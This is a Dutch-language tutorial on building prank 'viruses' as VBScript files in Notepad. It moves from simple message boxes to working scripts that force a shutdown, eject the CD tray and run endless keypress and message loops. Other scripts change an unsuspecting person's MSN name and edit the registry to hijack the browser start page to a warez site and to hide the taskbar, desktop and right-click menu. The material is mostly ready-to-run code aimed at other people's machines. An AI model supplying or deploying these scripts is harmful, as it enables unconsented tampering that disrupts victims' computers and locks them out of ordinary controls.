Inlading
Ik ga jullie uitleggen hoe je met Notepad/kladblok een zelfgemaakt virus kan maken. De basis is zeer makkelijk dus haak niet gelijk af
De basis
-open Notepad/kladblok. (Start-> Uitvoeren -> notepad)
-typ: msgbox "test"
-Sla het bestand op als: "test.vbs", als alle bestanden en op je bureaublad
Op je bureaublad zal nu een soort wit groen icoontje komen te staan met de titel "test"
-open het bestand en je zult dit krijgen:
Zo nu weet je wat de basis is. Je kunt behalve dit: "msgbox "test" " nog meer regels er onder zetten.
-Bewerk het bestand op je bureaublad
-typ nog meer tekst, bv:
msgbox "hoi"
msgbox "dit is een virus"
msgbox "vind je het leuk?"
msgbox "Mag ik je computer afsluiten?" (scroll omlaag)
msgbox "Of je cd laatje openen? (scroll omlaag)
msgbox "Nouja dan doe ik het niet!
Geavanceerdere pop-ups (met icoontjes)
-Typ in je kladblok dit: MsgBox "Test", 48, "Virus"
-open het weer en je krijgt dit te zien:
-"test" kun je veranderen in je eigen tekst bv: "LET OP VIRUS ALERT!!"
-"Virus" is de titel, die kun je veranderen bv "Dangerous here!?"
-het getal (48 hier) dient voor het icoontje, dit kun je veranderen:
0 = niks
16= rode cirkel met kruis
32= vraagteken
48= het uitroepteken ^
68= uitroepteken
4096= het venster blijft op voorgrond
Een vraag stellen
Om een vraag te stellen heb je ook een code nodig.
Code: Selecteer alles
a=inputbox("Welke kleur is je haar?")
msgbox "Jij hebt een rare kleur haar! je kleur haar is:"+a
Als je rood in typt slaat het script dit zeg maar op en zegt er iets over bv:
Een ja/nee vraag stellen
Dit is gewoon het ja/nee systeem. Als je op nee drukt zal er iets anders gebeuren dan wanneer je op ja drukt
kopieer deze code:
Code: Selecteer alles
if msgBox("Wil je dat ik je pc afsluit?", vbYesNo, "vraag") = vbYes then
msgbox "WTF, dat is schadelijk hoor"
else
msgbox "Ik had echt niet anders gedacht hoor:P!"
end if
-Je kunt natuurlijk de vraag: "Wil je dat ik je pc afsluit?" aanpassen
-Je kunt de antwoorden aanpassen ("WTF, dat is schadelijk hoor" , "Ik had echt niet anders gedacht")
(Schade)leuke codes
Er zijn codes die geen tekst laten zien, maar iets openen of iets wijzigen, etc.
Cd laatje open en dicht
Code: Selecteer alles
Dim oWMP
Dim colCDROMs, i
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
oWMP.close
Set colCDROMs = Nothing
Set oWMP = Nothing
Computer afsluiten
Code: Selecteer alles
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
Een heel raar piepje uit je systeemkast laten komen
Let op dit is niet schadelijk, al lijkt het dat wel!
Code: Selecteer alles
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
Engels spreker
Code: Selecteer alles
Set vo = CreateObject("SAPI.SpVoice")
vo.speak "Hello"
Windows tovenaar!!?
deze meneer kennen vele van jullie nog niet.
Code: Selecteer alles
On Error Resume Next
StrAgentName2 = "MERLIN"
StrAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".Acs"
Set objAgent2 = CreateObject("Agent.Control.2")
ObjAgent2.Connected = TRUE
ObjAgent2.Characters.Load strAgentName2, strAgentPath2
Set objPeter = objAgent2.Characters.Character(strAgentName2)
ObjPeter.MoveTo 700,300
ObjPeter.Show
ObjPeter.Play "GetAttention"
ObjPeter.Play "GetAttentionReturn"
ObjPeter.Speak("Hello, I'm a big fat wizard")
wscript.sleep 10000
""Hello, i'm a big fat wizard"" kun je natuurlijk aanpassen
Iemands msn naam veranderen
Laat iemand dit openen en zijn msn naam wordt aangepast. JIJ KAN DIT DUS NIET DOEN VANAF JE EIGEN COMPUTER.
Code: Selecteer alles
Set WshShell = CreateObject("Wscript.shell")
WshShell.Run ("msnmsgr.exe")
Wscript.Sleep 1200
WshShell.sendkeys "%x"
WshShell.sendkeys "O"
WshShell.sendkeys "(Msn Naam..)"
-Je moet aangemeld zijn
LET OP!!
Werkt niet altijd
iets oneindig herhalen
Code: Selecteer alles
do
msgbox"dit bericht komt steeds weer"
loop
Code: Selecteer alles
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page","http://warezheaven.nl"
naam van internet explorer veranderen
Code: Selecteer alles
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","de naam"
je computer kan ook de tijd zeggen:
Code: Selecteer alles
msgbox"het is:," & now & ",toch?"
Day = geeft de dag weer
Hour = geeft het uur weer
Minute = geeft de minuut weer
Month = geef de maand in een getal weer
MonthName = geeft de naam van de maand neer, wel in het engels!
Now = geeft de datum en de tijd op je pc aan
Time = geeft de tijd in uren minuten en seconden aan
Weekday = geeft de dag van de week aan
WeekdayName = geeft de naam van de dag aan, wel in het engels!
Year = geeft het jaar aan
oneindig het caps lock lichtje uit en aan laten gaan
Code: Selecteer alles
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
-om te stoppen volg de volgende stappen:
1. ga naar taakbeheer
2. dan naar processen
3. delete alles met wscript.exe PAS OP als je andere processen verwijdert kunnen programma's afsluiten
oneindig de enter in laten drukken
Code: Selecteer alles
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
oneindig de backspace in laten drukken
Code: Selecteer alles
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
een weppagina openen
Code: Selecteer alles
Set shl = CreateObject("Wscript.shell")
shl.run "www.google.nl/"
taakbalk laten verdwijnen
Code: Selecteer alles
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar","1"
Code: Selecteer alles
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop","1"
kladblok automatisch laten openen en iets laten typen
Code: Selecteer alles
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 1000
WshShell.SendKeys "O"
WScript.Sleep 500
WshShell.SendKeys "M"
WScript.Sleep 500
WshShell.SendKeys "G{enter}"
WScript.Sleep 1000
WshShell.SendKeys "Ik "
WScript.Sleep 200
WshShell.SendKeys "own "
WScript.Sleep 150
WshShell.SendKeys "je!"
geen menu onder je rechtermuisknop meer zien
Code: Selecteer alles
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu","1"